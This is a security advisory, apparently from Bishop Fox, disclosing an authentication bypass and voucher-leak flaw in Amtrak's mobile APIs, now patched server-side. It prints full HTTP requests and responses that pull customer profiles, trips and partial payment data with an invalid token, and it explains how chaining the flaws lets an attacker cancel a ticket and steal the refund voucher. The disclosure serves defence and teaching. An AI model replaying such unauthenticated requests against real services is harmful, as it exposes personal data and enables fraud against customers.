Product Vendor

National Railroad Passenger Corporation

Product Description

The Amtrak mobile application acts a personal kiosk for mobile e-ticketing and guest rewards management. The application can be downloaded from the official iTunes store at https://itunes.apple.com/us/app/amtrak/id405074003.

Vulnerabilities List

Two vulnerabilities were identified within the Amtrak mobile APIs:

These vulnerabilities are described in the following sections.

Impact

The Amtrak mobile APIs are affected by vulnerabilities that can directly lead to the exposure of Personally Identifiable Information (PII) and partial payment data for at least 6 million Amtrak guest rewards members. The Amtrak customers’ exposed PII includes full names, addresses and phone numbers.

If an Amtrak passenger had any upcoming trips, all the trip information along with partial payment data — last four digits of the credit card, the expiration date, and billing address—could have also been exposed. Users' date of birth and citizenship information would be vulnerable if a passenger had entered this information in their reservation as well.

Additionally, an attacker could cancel a victim’s ticket and “steal” the funds by harvesting the eVoucher code. Harvesting this information could also act as a stepping stone toward “stealing” a victim’s ticket using the PNR number, as described in the next finding, sensitive information disclosure.

VULNERABILITIES

Authentication Bypass

It was identified that the following two API endpoints failed to enforce authentication, which led to the exposure of customer data. Since only a valid username was required for exploitation, this attack could be carried out by any unsophisticated attackers.

• https://rider.amtrak.com/MobileApps/MyProfile

• https://rider.amtrak.com/MobileApps/MyTrips2

The team set up an intercepting proxy for the Amtrak mobile application and observed that it implemented SSL pinning. However, this additional form of protection was easily bypassed by dynamic instrumentation of known system-level methods that effectively disabled this check. The HTTP traffic was thus successfully intercepted.

Authentication Bypass – User Profile

The following request was made as an unauthenticated user (since the Authentication-Token header value was invalid) for obtaining a customer’s profile information:





Request





POST /MobileApps/MyProfile HTTP/1.1

Host: rider.amtrak.com

appType: IOS

Accept: */*

Content-Type: application/json; charset=UTF-8

Content-Length: 67

Authentication-Token: 8003D21900A9E7C8

User-Agent: Amtrak/3.1.7 (iPhone; iOS 11.1.2; Scale/2.00)

…omitted for brevity…

{

"appType": "IOS",

"userId": "hdjs@jdjdk.com",

"versionNumber": "3.1.7"

}

Response





HTTP/1.1 200 OK

Content-Type: application/json

Content-Length: 3646

…omitted for brevity…

{

…omitted for brevity…

"responseCode": "SUCCESS",

"user": {

"amtrakGuestRewards": "8657987940",

"amtrakPromotions": "0",

"billingAddress": {

"address1": "14 Main St",

"address2": null,

"addressType": null,

"city": "New York",

"country": {

"code": "US",

"name": null

},

"firstName": "Hdbxn",

"lastName": "Banan",

"state": {

"code": "NY",

"name": null

},

"zipCode": "07888"

},

…omitted for brevity…

"phoneNumbers": [

{

"extension": null,

"number": "5454545454",

"pushNotificationPhoneNumber": null,

"type": {

"code": "B",

"isInternational": null,

"name": null

}

},

…omitted for brevity…



"title": null,

"tqpYear": "2019",

"userId": "hdjs@jdjdk.com",

"userName": "HdbxnBanan"

}

Authentication Bypass – User Trips

The following endpoint disclosed a customer’s trip information (the Authentication-Token header value was invalid):

Note: The response differs slightly because this ticket was cancelled.





Request





POST /MobileApps/MyTrips2 HTTP/1.1

Host: rider.amtrak.com

appType: IOS

Accept: */*

Content-Type: application/json; charset=UTF-8

Content-Length: 69

Authentication-Token: 8003D21900A9E7C8DDC1

…omitted for brevity…

{

"versionNumber": "3.1.7",

"appType": "IOS",

"userName": "hdjs@jdjdk.com"

}

Response





HTTP/1.1 200 OK

Content-Type: application/json

X-DP-SRVersion: 1.0

Content-Length: 3414

Date: Sat, 12 Jan 2019 02:04:46 GMT

…omitted for brevity…

{

"appVersion": "1.62",

"authenticationToken": null,

"buildNumber": "1.63_20180915.0300",

"hostName": "ussbpri041amtra",

"infoNotification": null,

"responseCode": "SUCCESS",

"segments": [

],

"trips": [

{

"cancelled": false,

"journeys": [

…omitted for brevity…



"arrivalDateTime": "2019-02-13T10:50:00",

"departureDateTime": "2019-02-13T10:21:00",

"departureDateTimeInUTC": null,

"departureStationCode": null,

"departureStationName": null,

"destinationStationCode": "NYP",

…omitted for brevity…

"originStationCode": "YNY",

"rooms": null,

"routeName": "Empire Service",

"seatAssignments": null,

"seats": null,

"segmentNumber": null,

"segmentServiceStatus": "false",

"trainNumber": "236",

…omitted for brevity…

"multiRideInfo": null,

"pnrNumber": "24281A",

"pnrType": 0,

"totalFare": {

…omitted for brevity…

"rateQualifier": [

],

"totalFare": 17.0

},

"type": "OneWay"

}

],

"userId": "hdjs@jdjdk.com"

}

Using the PNR information from the above response, the following request resulted in exposure of the customer’s partial payment information:





Request





POST /MobileApps/RetrieveReservationV4 HTTP/1.1

Host: rider.amtrak.com

appType: IOS

Accept: */*

Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE

{

"email": "hdjs@jdjdk.com",

"versionNumber": "3.1.7",

"appType": "IOS",

"pnrNumber": "24281A"

}

Response





HTTP/1.1 200 OK

Content-Type: application/json

…omitted for brevity…

{

"PNRNumber": "24281A",

…omitted for brevity…

"payments": [

{

"address": {

"address1": "[REDACTED]",

"address2": null,

"addressType": null,

"city": "[REDACTED]",

"country": null,

"firstName": null,

"lastName": null,

"state": {

"code": "NY",

"name": null

},

"zipCode": "[REDACTED]"

},

"amount": 17.0,

"cavv": null,

"comment": null,

"eciFlag": null,

"expirationDate": "[REDACTED]",

"name": "Priyank [REDACTED]",

"number": "xxxxxxxxxxxx[REDACTED]",

"securityCode": null,

"sortOrder": 18,

"subtitle": "Priyank [REDACTED]",

"title": "Mastercard ****[REDACTED]",

"type": {

"code": "IK",

"name": "Mastercard",

…omitted for brevity…

}

}

],

…omitted for brevity…

"totalFare": 17.0

Sensitive Information Disclosure

The assessment team identified that the ticket cancellation API offered two types of refund methods: an eVoucher or a refund to the original form of payment. The eVoucher was emailed to the email address on file for a user’s account. However, the API also returned the voucher information in the API response.

Thus, an attacker could chain the previous authentication bypass vulnerability with this information disclosure vulnerability to effectively “steal” funds from the victim. Successful exploitation of the Authentication Bypass vulnerability gave access to the customer’s PNR details. Using these details, a request to refund to an eVoucher was made, and since the response contained the eVoucher code, an attacker could legitimately use those funds on Amtrak.com. Although the web application attempted to verify ownership of the eVoucher by requiring the user to enter some related information, this attack could not be thwarted because the attacker would already have that information.

The following request shows the cancellation request that required the pnrNumber and amount details, all of which was available from the previous responses. An attacker could cancel a victim’s ticket and harvest the eVoucher code.





Request





POST /MobileApps/CancelCancelReservation HTTP/1.1

Host: rider.amtrak.com

appType: IOS

…omitted for brevity…

{

"pnrNumber": "24281A",

"versionNumber": "3.1.7",

"appType": "IOS",

"paymentSummary": {

"refund": {

"refundAmount": "17.00",

"refundWithoutFee": "17.00"

},

"availableTicketAmount": "17.00",

"unliftedTicketAmount": "17.00",

"excessTicketAmount": "17.00",

"evoucher": {

"totaleVoucher": "17.00",

"allToeVoucher": true

}

}

}

Response

HTTP/1.1 200 OK

Content-Type: application/json

…omitted for brevity…

{

"EVoucher": [

{

"amount": "17.00",

"expirationDate": "2020-01-10",

"issueDate": "2019-01-11",

"issuedToName": "[REDACTED]",

"refundAmount": null,

"refundExpirationDate": "2020-01-10",

"ticketNumberType": "[REDACTED]"

}

],

"PNRNumber": "24281A",



…omitted for brevity…



As highlighted above, the response contained the eVoucher code, which could now be successfully used to buy a new ticket by any person. The below screenshot shows an attacker applying an eVoucher via a guest account:







Solution

This issue has been resolved server-side.

Timeline

01/12/2019: Initial discovery

01/14/2019: Contact with vendor

01/15/2019: Vendor acknowledged vulnerabilities

02/13/2019: Vendor patched their application server

02/19/2019: Vulnerabilities publicly disclosed

Researcher

Priyank Nigam , Senior Security Analyst at Bishop Fox